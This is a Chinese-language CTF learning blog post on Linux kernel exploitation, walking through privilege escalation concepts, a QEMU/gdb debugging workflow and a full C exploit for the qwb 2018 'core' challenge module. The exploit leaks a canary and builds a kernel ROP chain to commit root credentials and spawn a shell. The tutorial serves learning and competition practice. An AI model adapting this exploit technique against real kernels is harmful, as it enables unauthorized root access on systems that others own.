kernel pwn入门
kernel pwn 入门
这是您第几次尝试入门kernel了?
艰难坎坷的入门历程
已经说不清这是第几次我试图学习kernel pwn了。大一下学期看过一些文章,当时看不懂,放弃了,后来大二上个学期又看了几天,又放弃了(毕竟当时连堆都没学明白)。大二下倒是真的准备学习一下,但是要准备ciscn,分区赛又轮不到kernel来决定你能不能进决赛。因此kernel一直搁置到了现在。
我这个人有个特点,学东西必须学成一个体系,简而言之就是太注重逻辑理解和自圆其说,而不喜欢去记忆。因此对我来说学的一知半解后放着不管就等于没学...
大概是因为这个思维习惯,我比较擅长梳理逻辑,似乎这方面能力确实比一般人要强,加上你校期末确实不算难,因此Jmp.Cliff就成了校内远近闻名的期末速通战神......
这文章用来整理我这几天(再再再次)入门kernel的入门过程,中间会大量引用一些文章,都是我学习中遇到的一些质量很高的教学。不过其中一部分内容并未站在一个kernel pwn 新手的角度去讲解,有时候会有不易理解的地方。我尽量去补充讲解这些我踩过的坑......
长期更新。
基础知识
首先需要学习操作系统的一些基本概念,最好在学校里面学过操作系统这门课。这里放大佬的文章:Linux Kernel I:Basic Knowledge
讲的非常详尽了可以说。刚入门记住以下内容就行:
目标:提权
不同于之前用户态的题目,kernel pwn打的是操作系统内核的漏洞,用户态的pwn往往是让我们劫持程序执行流,而kernel pwn我们的“行为”是相对自由的。我们可以把elf文件传进kernel pwn的环境中,可以运行这个程序,我们的目的是让exp实现一个自我提权。
提权是什么?这涉及到分级保护域的问题。root用户的程序运行在ring0级别,普通用户程序运行在ring3。作为普通用户,一些资源你是不能随意访问的(比如摄像头这些东西),但是root权限就可以。也就是说,kernel pwn是要求我们将我们这些普通用户创建的进程的权限提升至root,来允许其访问更高级别的资源。
如何实现提权,这就涉及到cred结构体的问题,具体内容在文章中不再赘述。低版本的kernel常用的方法是执行这两个内核函数:
commit_creds(prepare_kernel_cred(0))
prepare_kernel_cred函数可以创建一个cred结构体。参数为0时,prepare_kernel_cred函数创建的cred结构体,其中的安全标识符(UID、GID等)将被设置为0。这意味着新创建的cred结构体代表了一个特殊的用户,即超级用户(root)的权限。
commit_creds可以用一个cred结构的指针来设置当前进程的cred,这里就是使用上面的prepare_kernel_cred创建的root用户级别的cred。
这些函数都是内核函数,在用户态是不能执行的,我们要让程序进入内核态去执行。
可以这么讲,kernel pwn,就是让我们编写的exp进程进入内核态,利用内核漏洞来劫持内核的执行流,执行上述内核函数(或者别的)实现提权,再返回用户态,以root身份起一个/bin/sh,最后cat一个root才能看到的flag。
LKM
一般来说,题目不会让你现场挖内核的洞的,题目往往会给你一个LKM模块,这个模块会在一开始装载进内核中,这个东西相对内核而言小得多,方便选手逆向分析,一般漏洞也在这个里面。
ctf赛题一般会发一个.ko文件,这个设备驱动模块里面一般有漏洞。
我们需要获得设备描述符以执行这个模块中的内核函数。proc_create会在/proc目录下创建一个设备文件,open这个文件可以获得设备描述符,通过这个设备描述符,使用read/write或ioctl函数可以和他交互
proc_create最后一个参数传入了一个fops结构体,这个里面包含了对这个设备使用read,write,ioctl等函数时(即第一个参数传入对应设备描述符)这个驱动程序将执行哪些函数。这个函数一般在.ko的init_module函数里面有执行(如qwb2018_core那题)
内核态与用户态的切换
大佬的文章讲的比我好...
swap
...
iretq
getshell
user_cs
user_rflags
user_sp
user_ss
记住这个图,知道怎么返回用户态就行
怎么做题?
以qwb 2018 core为例
给了一个start.sh,这个能启动内核,用的qemu,没有的要自己装一个。
拿到题目...
题目给一个压缩包,有内核镜像,有文件系统的压缩包(.cpio),有启动脚本。把文件系统解压看到里面有init初始化脚本,还有里面的一些基础的文件。
exp写完编译好需要撇进文件系统,再重新压缩打包成.cpio,有时题目会给一个gen-cpio脚本方便你去打包,建议自己备一个。
启动前可以改参数,把KASLR关了,然后让自己变成root,先把内核里面的一些函数符号以及偏移搞出来再说,也方便找一些基址什么的。写exp自己记得要泄露就行了。
怎么做题和调试这一块,CTF wiki讲的比较好:ctfwiki-QEMU模拟环境
关于调试...
我喜欢用这两个脚本做一个调试
tools.sh
#!/bin/sh
gcc --static -masm=intel -g -o exp exp.c
cp exp core
cd ./core
gen-cpio core.cpio
cp core.cpio ..
cd ..
tmux split-window -h 'sudo ./GT.sh'
#tmux attach-session -t mysession
./start.sh
GT.sh
gdb -ex "target remote localhost:1234" \
-ex "set $core_base=0xffffffffc0000000" \
-ex "set $kernel_base=0xffffffff81000000" \
-ex "add-symbol-file ./core/core.ko $core_base" \
-ex "add-symbol-file ./core/vmlinux $kernel_base" \
-ex "b*($core_base+0x131)" \
-ex "b*($core_base+0x11)" \
这两个和start.sh放在同一目录下,直接./tools.sh,左边是qemu跑起来的内核,可以交互,右边的debug
注意GT.sh里面有一个添加符号的行为,这个地址是关了KASLR直接看的,所以debug之前最好在init(不是start.sh)脚本里面关了ASLR。实际做题时记得泄露地址就行了。
记得start.sh加一个-s,这个是打开gdb调试。
例题 qwb 2018 core
就是常规ROP,只不过变成了内核ROP
函数不认识直接去查就行了,网上有很多解析。
这一题难点主要在于怎么启动题目,怎么去启动调试,真做题挺简单的。
踩过的坑:
- fscanf要的是FILE指针而不是文件描述符,别搞错了
- 对应的,fopen的第二个参数直接给"r",不是给0
- 打开设备时打开的方式尽量给4,读和写权限都给
- ROP链长度注意,声明数组的时候长度是固定的,这个写python写多了往往就忘了。
- 开始一定要记得save_status
EXP
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
//core 16384 0 - Live 0xffffffffc0000000
int backdoor(){
system("/bin/sh");
return 0;
}
void setoff(int fd,unsigned long long off){
ioctl(fd,0x6677889C,off);
}
void core_read(int fd,char* buf){
ioctl(fd,0x6677889B,buf);
}
void stack_overflow(int fd,unsigned long long size){
ioctl(fd,0x6677889A,size);
}
unsigned long long user_cs=0,user_ss=0,user_sp=0,user_rflags=0;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
unsigned long long prepare_kernel_cred=0,commit_creds=0,kernel_base=0;
void get_addr(){
FILE* file=fopen("/tmp/kallsyms","r");
if(!file)
printf("open kallsysms failed!");
unsigned long long addr=0;
char type[0x30]={0};
char name[0x30]={0};
while(fscanf(file,"%llx%s%s",&addr,type,name)==3)
{
if(!strcmp("prepare_kernel_cred",name))
prepare_kernel_cred=addr;
if(!strcmp("commit_creds",name))
commit_creds=addr;
if(commit_creds&&prepare_kernel_cred)
break;
}
kernel_base=prepare_kernel_cred-0x9cce0;
fclose(file);
}
unsigned long long canary;
int main(){
save_status();
int fd=open("/proc/core",O_RDWR);
if(!fd)
printf("open failed!");
setoff(fd,0x40);
core_read(fd,&canary);
printf("canary:%llx\n",canary);
get_addr();
printf("commit_creds:%llx\n",commit_creds);
printf("prepare_kernel_cred:%llx\n",prepare_kernel_cred);
printf("kernel_base:%llx\n",kernel_base);
//0xffffffff813f9ede : mov rdi, rax ; pop rbp ; mov rax, rdi ; pop r12 ; ret
unsigned long long magic_gadget=kernel_base+0xffffffff813f9ede -0xffffffff81000000;
//0xffffffff81000b2f : pop rdi ; ret
unsigned long long pop_rdi_ret=kernel_base+0xffffffff81000b2f-0xffffffff81000000;
//0xffffffff81a012da : swapgs ; popfq ; ret
unsigned long long swapgs_popfq_ret=kernel_base+0xffffffff81a012da-0xffffffff81000000;
//0xffffffff81050ac2 iretq
unsigned long long iretq=kernel_base+0xffffffff81050ac2-0xffffffff81000000;
unsigned long long ROP[25]={0};
ROP[8]=canary;
ROP[9]=0;
ROP[10]=pop_rdi_ret;
ROP[11]=0;
ROP[12]=prepare_kernel_cred;
ROP[13]=magic_gadget;
ROP[14]=0;
ROP[15]=0;
ROP[16]=commit_creds;
ROP[17]=swapgs_popfq_ret;
ROP[18]=0;
ROP[19]=iretq;
ROP[20]=(unsigned long long)backdoor;
ROP[21]=user_cs;
ROP[22]=user_rflags;
ROP[23]=user_sp;
ROP[24]=user_ss;
write(fd,ROP,sizeof(ROP));
stack_overflow(fd,0xffffffff00000000+sizeof(ROP));
return 0;
}